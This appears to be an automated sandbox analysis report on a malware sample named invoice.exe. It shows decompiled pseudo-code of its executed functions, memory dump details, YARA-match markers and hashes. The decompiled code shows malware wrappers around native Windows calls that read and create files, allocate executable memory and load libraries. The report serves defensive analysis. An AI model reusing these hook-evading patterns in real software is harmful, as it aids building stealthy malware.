				 *_t294 =  *_t294 + _t294;
				asm("adc [eax], eax");
				if( *_t294 > 0) {
					 *_t294 =  *_t294 + _t294;
					_t294 = _t294 + 0x14;
					 *_t522 =  *_t522 - _t619;
				}
				 *_t294 =  *_t294 + _t294;
				_t554 = _t553 |  *_t522;
				_pop(es);
				_t295 = _t294 - 0x21;
				if(_t295 >= 0) {
					 *_t295 =  *_t295 + _t295;
				}
				 *((intOrPtr*)(_t295 - 0x30)) =  *((intOrPtr*)(_t295 - 0x30)) + _t619;
			}

0x00802050
0x00802050
0x00802050
0x00802050
0x00802052
0x00802054
0x00802055
0x00802057
0x00802059
0x0080205b
0x0080205d
0x0080205f
0x00802060
0x00802062
0x00802064
0x00802066
0x00802068
0x0080206a
0x0080206c
0x0080206e
0x00802070
0x00802072
0x00802073
0x00802076
0x0080207a
0x0080207c
0x0080207e
0x00802080
0x00802082
0x00802084
0x00802085
0x00802088
0x0080208a
0x0080208c
0x0080208d
0x00802090
0x00802092
0x00802094
0x00802098
0x0080209a
0x0080209c
0x0080209e
0x008020a0
0x008020a3
0x008020a5
0x008020a7
0x008020a8
0x008020ae
0x008020b0
0x008020b2
0x008020b4
0x008020b9
0x008020bb
0x008020bd
0x008020bf
0x008020c0
0x008020c1
0x008020c3
0x008020c4
0x008020c6
0x008020ca
0x008020cc
0x008020ce
0x008020d0
0x008020d2
0x008020d4
0x008020d6
0x00802101
0x00802101
0x00802103
0x0080210a
0x00000000
0x008020d8
0x008020d8
0x008020da
0x008020e0
0x0080210c
0x0080210c
0x0080210e
0x00802110
0x00802112
0x00802114
0x00802116
0x00802116
0x00000000
0x008020e2
0x008020e2
0x008020e4
0x008020ea
0x00802117
0x00802117
0x00802119
0x0080211b
0x0080211b
0x0080211c
0x0080211f
0x00000000
0x008020ec
0x008020ec
0x008020ee
0x008020f4
0x00802122
0x00802122
0x00802124
0x00802126
0x00802127
0x00802129
0x0080212b
0x008020f6
0x008020f6
0x008020f8
0x008020fe
0x00802100
0x00000000
0x00802100
0x008020fe
0x008020f4
0x008020ea
0x008020e0
0x0080212d
0x0080212f
0x00802131
0x00802133
0x00802135
0x00802137
0x00802137
0x00802139
0x0080213b
0x0080213c
0x0080213e
0x00802140
0x00802142
0x00802143
0x00802145
0x00802147
0x00802149
0x0080214b
0x0080214d
0x0080214f
0x00802151
0x00802153
0x00802155
0x00802155
0x00802156
0x00802157
0x00802159
0x0080215b
0x0080215d
0x0080215f
0x00802161
0x00802163
0x00802165
0x00802167
0x0080216a
0x0080216c
0x0080216f
0x00802171
0x00802173
0x00802175
0x00802177
0x00802179
0x0080217b
0x0080217d
0x0080217f
0x00802181
0x00802183
0x00802189
0x00802189
0x0080218b
0x0080218f
0x00802190
0x00802192
0x00802194
0x00802196
0x00802197
0x00802199
0x0080219b
0x0080219e
0x008021a0
0x008021a1
0x008021a3
0x008021a5
0x008021a7
0x008021a9
0x008021ab
0x008021ab
0x008021ad
0x008021af
0x008021b1
0x008021b2
0x008021b4
0x008021b6
0x008021b6
0x008021b7

Memory Dump Source

Source File: 00000000.00000002.242656092.0000000000802000.00000002.00020000.sdmp, Offset: 00800000, based on PE: true

Associated: 00000000.00000002.242634120.0000000000800000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8220c094e412f3c9a39a770dfc9489b6ec4f27134e862f1713c45f92d0711f20
Instruction ID: 5f4ede876eb3c1e5bb5db0ec0d204009aec09a176808661655da4976d43be664
Opcode Fuzzy Hash: 8220c094e412f3c9a39a770dfc9489b6ec4f27134e862f1713c45f92d0711f20
Instruction Fuzzy Hash: 8F03326140E7C24FCB538BB89CB56D1BFB1AE5721471E48CBC4C0CF0A3E259696AD762

Uniqueness

Uniqueness Score: -1.00%

Function 02BF1331, Relevance: 1.5, Strings: 1, Instructions: 243COMMON

Download Yara Rule

Strings

P=B, xrefs: 02BF151E

Memory Dump Source

Source File: 00000000.00000002.244005355.0000000002BF0000.00000040.00000001.sdmp, Offset: 02BF0000, based on PE: false

Similarity

API ID:
String ID: P=B
API String ID: 0-3050915780
Opcode ID: 503beebfbe7d4fe72ff9bd8a52cb9c1279fe1742e50961087759eb72f3248a48
Instruction ID: d566c92d8fbb7037e3ff842fc544a3ab35e8b24ee8254318a6833745badb851b
Opcode Fuzzy Hash: 503beebfbe7d4fe72ff9bd8a52cb9c1279fe1742e50961087759eb72f3248a48
Instruction Fuzzy Hash: AEA14474E15209DFCB44CFA9C54169EFBF2BF89310F24C5AAD508A7219D7349946CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 02BF1340, Relevance: 1.5, Strings: 1, Instructions: 240COMMON

Download Yara Rule

Strings

P=B, xrefs: 02BF151E

Memory Dump Source

Source File: 00000000.00000002.244005355.0000000002BF0000.00000040.00000001.sdmp, Offset: 02BF0000, based on PE: false

Similarity

API ID:
String ID: P=B
API String ID: 0-3050915780
Opcode ID: b2fafd4fa5bb3ba9d96694122e09c68e0537b470e36ee1747c5eabb2265dddf3
Instruction ID: d682192b269ac50a12148b628ef2c2172f2701c94cb5335bfd13ed0d63c3446c
Opcode Fuzzy Hash: b2fafd4fa5bb3ba9d96694122e09c68e0537b470e36ee1747c5eabb2265dddf3
Instruction Fuzzy Hash: 55A134B4E15209DBCB44CFA9C58169EFBF2BF89310F24C56AD508A7319DB309946CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 0117C148, Relevance: .5, Instructions: 522COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.243821056.0000000001170000.00000040.00000001.sdmp, Offset: 01170000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 36cfce412ebb4504e9a6362d2ef0bf1cc408178a2b453e8168355fa61d5334d6
Instruction ID: 668240e9042a70662e11dc8fe3c469354a3d2cbcbec26604fb5671e1c63d2aaf
Opcode Fuzzy Hash: 36cfce412ebb4504e9a6362d2ef0bf1cc408178a2b453e8168355fa61d5334d6
Instruction Fuzzy Hash: 07525DB15017068FD76ACF14E4881997BB3FB41328F90422AD5727B6D9D3B865CACF88

Uniqueness

Uniqueness Score: -1.00%

Function 0117A748, Relevance: .3, Instructions: 265COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.243821056.0000000001170000.00000040.00000001.sdmp, Offset: 01170000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4824483986efbfbe28edd985a55a399dbca8cf27dbe576a32e38a603964c6492
Instruction ID: 274823f1187821126971985c03939fbc4d0a9ceb3fecc2ba6af20a4ea62f68ba
Opcode Fuzzy Hash: 4824483986efbfbe28edd985a55a399dbca8cf27dbe576a32e38a603964c6492
Instruction Fuzzy Hash: DFA19E32E0021ACFCF19DFA5D8445DEBBB2FF84305B15816AE915BB325EB35A945CB40

Uniqueness

Uniqueness Score: -1.00%

Function 02BF5558, Relevance: .2, Instructions: 228COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.244005355.0000000002BF0000.00000040.00000001.sdmp, Offset: 02BF0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 20b1b550ca120ab9abd07bd752dc12f09cb1ec170d638d9174a802d3ae78f06f
Instruction ID: c48374248343036bfbf7bd5974692878f365a9ffb6fc2a1fac6f5f4d55233608
Opcode Fuzzy Hash: 20b1b550ca120ab9abd07bd752dc12f09cb1ec170d638d9174a802d3ae78f06f
Instruction Fuzzy Hash: F991D174E15209CFCB54CFEAD4815AEFBB2EF89300F60906AD615BB219D7349A06CF94

Uniqueness

Uniqueness Score: -1.00%

Function 02BF5548, Relevance: .2, Instructions: 219COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.244005355.0000000002BF0000.00000040.00000001.sdmp, Offset: 02BF0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 87c30ec1cfe2653296276f70a728eac92b2cc244980b39b2a2a7b1fa9385faee
Instruction ID: 39f647870537aa4a05e7e9913f18bb5a76d04cb03ae8cd2bc68c3f82cdff64f5
Opcode Fuzzy Hash: 87c30ec1cfe2653296276f70a728eac92b2cc244980b39b2a2a7b1fa9385faee
Instruction Fuzzy Hash: F291E174E15209DFCB54CFEAD4815AEFBB2EF89300F60906AD615BB218D7349A06CF90

Uniqueness

Uniqueness Score: -1.00%

Function 02BF1A27, Relevance: .2, Instructions: 170COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.244005355.0000000002BF0000.00000040.00000001.sdmp, Offset: 02BF0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9d22b49b34b811a5bd415684efcbd2257ccdbe9ad3f186b3189fadb3f3d715d0
Instruction ID: bfb8764cd9901d43ed5d9aa76b6b081d12aa2fdfbf0ba74cf7df5206b886aa7b
Opcode Fuzzy Hash: 9d22b49b34b811a5bd415684efcbd2257ccdbe9ad3f186b3189fadb3f3d715d0
Instruction Fuzzy Hash: 16614A70E1420ACFCB44CFAAC4815AEFBF2AB89310F14D866D528A7255E7349945CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 02BF1A38, Relevance: .2, Instructions: 166COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.244005355.0000000002BF0000.00000040.00000001.sdmp, Offset: 02BF0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d8d84a1b6d065857437743930739c117f99432ae33d25f76711e19ed997dad09
Instruction ID: 067de71268b864f34ec71a99c8d2b8756f2fa806037756a30ef417cbcc58eb2f
Opcode Fuzzy Hash: d8d84a1b6d065857437743930739c117f99432ae33d25f76711e19ed997dad09
Instruction Fuzzy Hash: 9D616D70E1420ADFCB44CFEAC4806AEFBF2AF89310F14D86AD528A7255D7349945CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 02BF96E0, Relevance: .1, Instructions: 79COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.244005355.0000000002BF0000.00000040.00000001.sdmp, Offset: 02BF0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 133b916cbd1db1a7351931a483f8d8674b32edcd855f6b56a879dbb02bf984b9
Instruction ID: fe6c25d548363e40e0d5da671191964ac7c2621efc05341e1529a1948879c4a0
Opcode Fuzzy Hash: 133b916cbd1db1a7351931a483f8d8674b32edcd855f6b56a879dbb02bf984b9
Instruction Fuzzy Hash: 97215770C05618DBDB448FA5D848BEDBBF1EB0A300F1058AAE606B3290CB785948CF15

Uniqueness

Uniqueness Score: -1.00%

Function 02BF96D0, Relevance: .1, Instructions: 77COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.244005355.0000000002BF0000.00000040.00000001.sdmp, Offset: 02BF0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e6224349acecaf0445011bd5f6e83a544a213ea97f8138011781b11695c59528
Instruction ID: a9b2458ec19ab85462db95164905bd966bb0950cb0b458cd463eb6d8d92f386f
Opcode Fuzzy Hash: e6224349acecaf0445011bd5f6e83a544a213ea97f8138011781b11695c59528
Instruction Fuzzy Hash: B0218970D05728CFDB418FA4D848BFDBBF1AB0A301F1058AAEA06B3291CB394948CF55

Uniqueness

Uniqueness Score: -1.00%

Function 02BF28F7, Relevance: .1, Instructions: 59COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.244005355.0000000002BF0000.00000040.00000001.sdmp, Offset: 02BF0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 99b02a0af933e6f71c8b6012cf2f37dd31ca5a66a9c5bde908bb5ebb27a89ad9
Instruction ID: 8760325c1f251be43dc71ddfc6a55914c8b9467e9f609eb8a8acd1e470a18f83
Opcode Fuzzy Hash: 99b02a0af933e6f71c8b6012cf2f37dd31ca5a66a9c5bde908bb5ebb27a89ad9
Instruction Fuzzy Hash: 44213071E116198BDB58CFABD9402AEFBF7AFC8210F14C07AD508E7254DB344A068F51

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: invoice.exe PID: 480 Parent PID: 1972 invoice.exeCOMMON

Executed Functions

Function 0041827A, Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 38
filenativeCOMMON

Download Yara Rule

C-Code - Quality: 37%

			E0041827A(void* __eax, void* __esi, intOrPtr _a2, char _a6, intOrPtr _a10, intOrPtr _a14, intOrPtr _a18, intOrPtr _a22, intOrPtr _a26, char _a30, intOrPtr _a34, char _a38) {
				void* _t23;
				void* _t32;
				intOrPtr* _t35;
				void* _t37;

				 *(__esi + 0x6a) =  *(__esi + 0x6a) >> 0x30;
				_t18 = _a2;
				_t35 = _a2 + 0xc48;
				E00418DD0(_t32, _a2, _t35,  *((intOrPtr*)(_t18 + 0x10)), 0, 0x2a);
				_t7 =  &_a38; // 0x413a21
				_t9 =  &_a30; // 0x413d62
				_t15 =  &_a6; // 0x413d62
				_t23 =  *((intOrPtr*)( *_t35))( *_t15, _a10, _a14, _a18, _a22, _a26,  *_t9, _a34,  *_t7, __eax, _t37, _t37); // executed
				return _t23;
			}

0x0041827b
0x00418283
0x0041828f
0x00418297
0x0041829c
0x004182a2
0x004182bd
0x004182c5
0x004182c9

APIs

NtReadFile.NTDLL(b=A,5E972F59,FFFFFFFF,?,?,?,b=A,?,!:A,FFFFFFFF,5E972F59,00413D62,?,00000000), ref: 004182C5

Strings

!:A, xrefs: 0041829C, 004182A8
b=A, xrefs: 004182BD, 004182C4
b=A, xrefs: 004182A2, 004182B0

Memory Dump Source

Source File: 00000003.00000002.286861103.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: FileRead
String ID: !:A$b=A$b=A
API String ID: 2738559852-704622139
Opcode ID: 106b96e1dd8268b4f65c38f97738c7d0611fae97087452623d10252cc7eb3282
Instruction ID: 0ca5ceb642e1cd6389262c32d98fa04f079efc2c2903f8d63fc706f72e2dd6da
Opcode Fuzzy Hash: 106b96e1dd8268b4f65c38f97738c7d0611fae97087452623d10252cc7eb3282
Instruction Fuzzy Hash: CAF0F9B2200218AFCB14DF89DC81EEB77A9EF8C754F158248FA0D97281C630E811CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 00418280, Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 36
filenativeCOMMON

Download Yara Rule

C-Code - Quality: 37%

			E00418280(intOrPtr _a4, char _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, intOrPtr _a24, intOrPtr _a28, char _a32, intOrPtr _a36, char _a40) {
				void* _t18;
				void* _t27;
				intOrPtr* _t28;

				_t13 = _a4;
				_t28 = _a4 + 0xc48;
				E00418DD0(_t27, _t13, _t28,  *((intOrPtr*)(_t13 + 0x10)), 0, 0x2a);
				_t4 =  &_a40; // 0x413a21
				_t6 =  &_a32; // 0x413d62
				_t12 =  &_a8; // 0x413d62
				_t18 =  *((intOrPtr*)( *_t28))( *_t12, _a12, _a16, _a20, _a24, _a28,  *_t6, _a36,  *_t4); // executed
				return _t18;
			}

0x00418283
0x0041828f
0x00418297
0x0041829c
0x004182a2
0x004182bd
0x004182c5
0x004182c9

APIs

NtReadFile.NTDLL(b=A,5E972F59,FFFFFFFF,?,?,?,b=A,?,!:A,FFFFFFFF,5E972F59,00413D62,?,00000000), ref: 004182C5

Strings

!:A, xrefs: 0041829C, 004182A8
b=A, xrefs: 004182BD, 004182C4
b=A, xrefs: 004182A2, 004182B0

Memory Dump Source

Source File: 00000003.00000002.286861103.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: FileRead
String ID: !:A$b=A$b=A
API String ID: 2738559852-704622139
Opcode ID: d4a5a74702051ab3f1355cb9c04464ae45872bc81882c1ce62b08827cfd1deed
Instruction ID: 51f5fae1d88b5840d166f8ea9f31b1482cd02544441b85bb92b9de754d914906
Opcode Fuzzy Hash: d4a5a74702051ab3f1355cb9c04464ae45872bc81882c1ce62b08827cfd1deed
Instruction Fuzzy Hash: F0F0A4B2200208ABCB14DF89DC81EEB77ADAF8C754F158249BA1D97241DA30E8518BA4

Uniqueness

Uniqueness Score: -1.00%

Function 004182FB, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 20
filenativeCOMMON

Download Yara Rule

C-Code - Quality: 50%

			E004182FB(char _a1, void* _a4) {
				intOrPtr _v0;
				long _t8;
				void* _t11;

				asm("loop 0xffffffb1");
				_push(cs);
				asm("invalid");
				_push( &_a1);
				_t5 = _v0;
				_t2 = _t5 + 0x10; // 0x300
				_t3 = _t5 + 0xc50; // 0x409753
				E00418DD0(_t11, _v0, _t3,  *_t2, 0, 0x2c);
				_t8 = NtClose(_a4); // executed
				return _t8;
			}

0x004182fc
0x004182fe
0x004182ff
0x00418300
0x00418303
0x00418306
0x0041830f
0x00418317
0x00418325
0x00418329

APIs

NtReadFile.NTDLL(b=A,5E972F59,FFFFFFFF,?,?,?,b=A,?,!:A,FFFFFFFF,5E972F59,00413D62,?,00000000), ref: 004182C5

Strings

b=A, xrefs: 004182BD, 004182C4
b=A, xrefs: 004182B0

Memory Dump Source

Source File: 00000003.00000002.286861103.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: FileRead
String ID: b=A$b=A
API String ID: 2738559852-1392703911
Opcode ID: b3e33bd95f613c068d81180f4c973ef1829e327647e6ebc2b25fd51a06e3b657
Instruction ID: 14db9019983f513576e795b79beb54af6b3372da71219a079551902fc7b365a6
Opcode Fuzzy Hash: b3e33bd95f613c068d81180f4c973ef1829e327647e6ebc2b25fd51a06e3b657
Instruction Fuzzy Hash: 9FD067B6214409AF8B04DF89EC81CEB73ADEF8C710710861DBA5DC3100DA34E8528BA4

Uniqueness

Uniqueness Score: -1.00%

Function 00409B30, Relevance: 1.5, APIs: 1, Instructions: 48
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00409B30(void* __eflags, void* _a4, intOrPtr _a8) {
				char* _v8;
				struct _EXCEPTION_RECORD _v12;
				struct _OBJDIR_INFORMATION _v16;
				char _v536;
				void* _t15;
				struct _OBJDIR_INFORMATION _t17;
				struct _OBJDIR_INFORMATION _t18;
				void* _t30;
				void* _t31;
				void* _t32;

				_v8 =  &_v536;
				_t15 = E0041AB60( &_v12, 0x104, _a8);
				_t31 = _t30 + 0xc;
				if(_t15 != 0) {
					_t17 = E0041AF80(__eflags, _v8);
					_t32 = _t31 + 4;
					__eflags = _t17;
					if(_t17 != 0) {
						E0041B200( &_v12, 0);
						_t32 = _t32 + 8;
					}
					_t18 = E00419310(_v8);
					_v16 = _t18;
					__eflags = _t18;
					if(_t18 == 0) {
						LdrLoadDll(0, 0,  &_v12,  &_v16); // executed
						return _v16;
					}
					return _t18;
				} else {
					return _t15;
				}
			}

0x00409b4c
0x00409b4f
0x00409b54
0x00409b59
0x00409b63
0x00409b68
0x00409b6b
0x00409b6d
0x00409b75
0x00409b7a
0x00409b7a
0x00409b81
0x00409b89
0x00409b8c
0x00409b8e
0x00409ba2
0x00000000
0x00409ba4
0x00409baa
0x00409b5e
0x00409b5e
0x00409b5e

APIs

LdrLoadDll.NTDLL(00000000,00000000,00000003,?), ref: 00409BA2

Memory Dump Source

Source File: 00000003.00000002.286861103.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: Load
String ID:
API String ID: 2234796835-0
Opcode ID: 54eed7fb54c4bb33c5ecf3c62be074d2fec7e96364ab3bba8fcd8ce07f2b6dc1
Instruction ID: 4e6e3ee69d5942d72351b9e79d7f2bfe549f68bd28f2ef5b77caac8f1f18b979
Opcode Fuzzy Hash: 54eed7fb54c4bb33c5ecf3c62be074d2fec7e96364ab3bba8fcd8ce07f2b6dc1
Instruction Fuzzy Hash: BB0152B5E0010DA7DB10DAA1DC42FDEB378AB54308F0041A5E918A7281F635EB54C795

Uniqueness

Uniqueness Score: -1.00%

Function 004181D0, Relevance: 1.5, APIs: 1, Instructions: 40
filenativeCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004181D0(intOrPtr _a4, HANDLE* _a8, long _a12, struct _EXCEPTION_RECORD _a16, struct _ERESOURCE_LITE _a20, struct _GUID _a24, long _a28, long _a32, long _a36, long _a40, void* _a44, long _a48) {
				long _t21;
				void* _t31;

				_t3 = _a4 + 0xc40; // 0xc40
				E00418DD0(_t31, _a4, _t3,  *((intOrPtr*)(_a4 + 0x10)), 0, 0x28);
				_t21 = NtCreateFile(_a8, _a12, _a16, _a20, _a24, _a28, _a32, _a36, _a40, _a44, _a48); // executed
				return _t21;
			}

0x004181df
0x004181e7
0x0041821d
0x00418221

APIs

NtCreateFile.NTDLL(00000060,00408B03,?,00413BA7,00408B03,FFFFFFFF,?,?,FFFFFFFF,00408B03,00413BA7,?,00408B03,00000060,00000000,00000000), ref: 0041821D

Memory Dump Source

Source File: 00000003.00000002.286861103.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 255eac8f353b7b8934ff6a71ff904c2473dc3201d920852afcf054611f931be4
Instruction ID: 4ba06d0811943408d915368c3acdb1aee86cb039c5ce671b45e9a6de03e682c0
Opcode Fuzzy Hash: 255eac8f353b7b8934ff6a71ff904c2473dc3201d920852afcf054611f931be4
Instruction Fuzzy Hash: EAF0B2B2200208ABCB08CF89DC85EEB77ADAF8C754F158248BA0D97241C630E8518BA4

Uniqueness

Uniqueness Score: -1.00%

Function 004183AA, Relevance: 1.5, APIs: 1, Instructions: 32
memorynativeCOMMON

Download Yara Rule

C-Code - Quality: 79%

			E004183AA(void* __eax, void* _a4, PVOID* _a8, long _a12, long* _a16, long _a20, long _a24) {
				intOrPtr _v0;
				long _t15;
				void* _t23;

				asm("scasb");
				_t11 = _v0;
				_t3 = _t11 + 0xc60; // 0xca0
				E00418DD0(_t23, _v0, _t3,  *((intOrPtr*)(_v0 + 0x10)), 0, 0x30);
				_t15 = NtAllocateVirtualMemory(_a4, _a8, _a12, _a16, _a20, _a24); // executed
				return _t15;
			}

0x004183aa
0x004183b3
0x004183bf
0x004183c7
0x004183e9
0x004183ed

APIs

NtAllocateVirtualMemory.NTDLL(00003000,?,00000000,?,00418FA4,?,00000000,?,00003000,00000040,00000000,00000000,00408B03), ref: 004183E9

Memory Dump Source

Source File: 00000003.00000002.286861103.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: AllocateMemoryVirtual
String ID:
API String ID: 2167126740-0
Opcode ID: b3886f7fe617cb5b5651f992733094852dc2275a6f54b4b42ca774a5ef98d22a
Instruction ID: 17e59c07adce47b034228faf3a3321a04e24b17a76aeaaa3f91bedd341cd23d2
Opcode Fuzzy Hash: b3886f7fe617cb5b5651f992733094852dc2275a6f54b4b42ca774a5ef98d22a
Instruction Fuzzy Hash: 18F0F8B6210208ABCB14DF89DC81EEB77ADEF88654F158149BA1C97241C630E911CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 004183B0, Relevance: 1.5, APIs: 1, Instructions: 30
memorynativeCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004183B0(intOrPtr _a4, void* _a8, PVOID* _a12, long _a16, long* _a20, long _a24, long _a28) {
				long _t14;
				void* _t21;

				_t3 = _a4 + 0xc60; // 0xca0
				E00418DD0(_t21, _a4, _t3,  *((intOrPtr*)(_a4 + 0x10)), 0, 0x30);
				_t14 = NtAllocateVirtualMemory(_a8, _a12, _a16, _a20, _a24, _a28); // executed
				return _t14;
			}

0x004183bf
0x004183c7
0x004183e9
0x004183ed

APIs

NtAllocateVirtualMemory.NTDLL(00003000,?,00000000,?,00418FA4,?,00000000,?,00003000,00000040,00000000,00000000,00408B03), ref: 004183E9

Memory Dump Source

Source File: 00000003.00000002.286861103.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: AllocateMemoryVirtual
String ID:
API String ID: 2167126740-0
Opcode ID: b2c7a9f16f7248b886659db27fd6bc2ac43cd74a54ece53f3674161978f52f4b
Instruction ID: 5f1ba135279249ad747bfdca3347611d303f78695a7cb9da664d5d0d2719559c
Opcode Fuzzy Hash: b2c7a9f16f7248b886659db27fd6bc2ac43cd74a54ece53f3674161978f52f4b
Instruction Fuzzy Hash: 4EF015B2200208ABCB14DF89DC81EEB77ADAF88754F118249BE0897281C630F810CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 00418300, Relevance: 1.5, APIs: 1, Instructions: 20
nativeCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00418300(intOrPtr _a4, void* _a8) {
				long _t8;
				void* _t11;

				_t5 = _a4;
				_t2 = _t5 + 0x10; // 0x300
				_t3 = _t5 + 0xc50; // 0x409753
				E00418DD0(_t11, _a4, _t3,  *_t2, 0, 0x2c);
				_t8 = NtClose(_a8); // executed
				return _t8;
			}

0x00418303
0x00418306
0x0041830f
0x00418317
0x00418325
0x00418329

APIs

NtClose.NTDLL(00413D40,?,?,00413D40,00408B03,FFFFFFFF), ref: 00418325

Memory Dump Source

Source File: 00000003.00000002.286861103.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: Close
String ID:
API String ID: 3535843008-0
Opcode ID: 462dc2fd90f57a4a7913ee6487bbcc8fe2490777b3746e68c632e34f0b64e1a4
Instruction ID: e0948211a995ee673693cff6b37ba25287d5fac55aefcf59dfc2265e20a22c74
Opcode Fuzzy Hash: 462dc2fd90f57a4a7913ee6487bbcc8fe2490777b3746e68c632e34f0b64e1a4
Instruction Fuzzy Hash: EAD012752003146BD710EF99DC45ED7775CEF44750F154559BA185B282C570F90086E0

Uniqueness

Uniqueness Score: -1.00%

Function 004088C0, Relevance: .1, Instructions: 92COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.286861103.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 67bb4e2207c22d687f6acc024d55c7e0c161e5d4599185de851a30ee67947c6b
Instruction ID: 4c2b1df36aa7b29bb0fae7ecfb93cd688d28708cc461f9fe29ca3c1f3973371e
Opcode Fuzzy Hash: 67bb4e2207c22d687f6acc024d55c7e0c161e5d4599185de851a30ee67947c6b
Instruction Fuzzy Hash: EC213CB2D442085BCB10E6649D42BFF73AC9B50304F04057FF989A3181FA38BB498BA7

Uniqueness

Uniqueness Score: -1.00%

Function 004184A0, Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 24
memoryCOMMON

Download Yara Rule

C-Code - Quality: 34%

			E004184A0(void* __ebx, intOrPtr _a4) {
				signed int _t7;
				void* _t8;
				void* _t10;
				void* _t12;

				_t6 = _a4;
				_t10 =  *(_a4 + 0x10);
				_t7 = E00418DD0(_t12, _t6, _t6 + 0xc70, _t10, 0, 0x34);
				 *_t7 =  *_t7 | _t7;
				 *((intOrPtr*)(__ebx + 0x458b1455)) =  *((intOrPtr*)(__ebx + 0x458b1455)) + _t10;
				asm("adc [ebx-0x3b7cf3b3], cl");
				asm("adc al, 0x52");
				_push(_t7);
				_t8 = RtlAllocateHeap(_t10); // executed
				return _t8;
			}

0x004184a3
0x004184a6
0x004184b7
0x004184b9
0x004184bb
0x004184c1
0x004184c7
0x004184cb
0x004184cd
0x004184d1

APIs

RtlAllocateHeap.NTDLL(&5A,?,00413C9F,00413C9F,?,00413526,?,?,?,?,?,00000000,00408B03,?), ref: 004184CD

Strings

&5A, xrefs: 004184C2, 004184CC

Memory Dump Source

Source File: 00000003.00000002.286861103.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: AllocateHeap
String ID: &5A
API String ID: 1279760036-1617645808
Opcode ID: 5b685ba00e4f3e285a347290f69675979fbe5b3df3c61f88542a29b4b9d62cf4
Instruction ID: 6eed1dfa6fdd4b996c8079955bb5808ea645f65af4e2973490dba1d49a230398
Opcode Fuzzy Hash: 5b685ba00e4f3e285a347290f69675979fbe5b3df3c61f88542a29b4b9d62cf4
Instruction Fuzzy Hash: 94E012B1200208ABDB14EF99DC41EA777ACAF88654F118559BA085B282CA30F9108AB0

Uniqueness

Uniqueness Score: -1.00%

Function 004184D2, Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 19
memoryCOMMON

Download Yara Rule

C-Code - Quality: 40%

			E004184D2(void* __ebx, void* __edx, void* __eflags) {
				void** __esi;
				void* __ebp;
				signed int _t9;
				void* _t10;
				void* _t12;

				_pop(es);
				asm("cmpsb");
				asm("cmc");
				if(__eflags == 0) {
					 *_t9 =  *_t9 | _t9;
					 *((intOrPtr*)(__ebx + 0x458b1455)) =  *((intOrPtr*)(__ebx + 0x458b1455)) + _t12;
					asm("adc [ebx-0x3b7cf3b3], cl");
					asm("adc al, 0x52");
					_push(_t9);
					_t10 = RtlAllocateHeap(_t12); // executed
					return _t10;
				} else {
					__edx = __edx - 1;
					asm("stosb");
					asm("adc eax, 0x6ce941ec");
					__ebp = __esp;
					__eax =  *(__ebp + 8);
					_t5 = __eax + 0xc74; // 0xc74
					__esi = _t5;
					__eax = E00418DD0(__edi,  *(__ebp + 8), __esi,  *((intOrPtr*)( *(__ebp + 8) + 0x10)), 0, 0x35);
					__edx =  *(__ebp + 0x14);
					__eax =  *(__ebp + 0x10);
					__edx =  *__esi;
					__eax = RtlFreeHeap( *(__ebp + 0xc),  *(__ebp + 0x10),  *(__ebp + 0x14)); // executed
					__esi = __esi;
					__ebp = __ebp;
					return __eax;
				}
			}

0x004184d2
0x004184d3
0x004184d4
0x004184d5
0x004184b9
0x004184bb
0x004184c1
0x004184c7
0x004184cb
0x004184cd
0x004184d1
0x004184d7
0x004184d7
0x004184d8
0x004184db
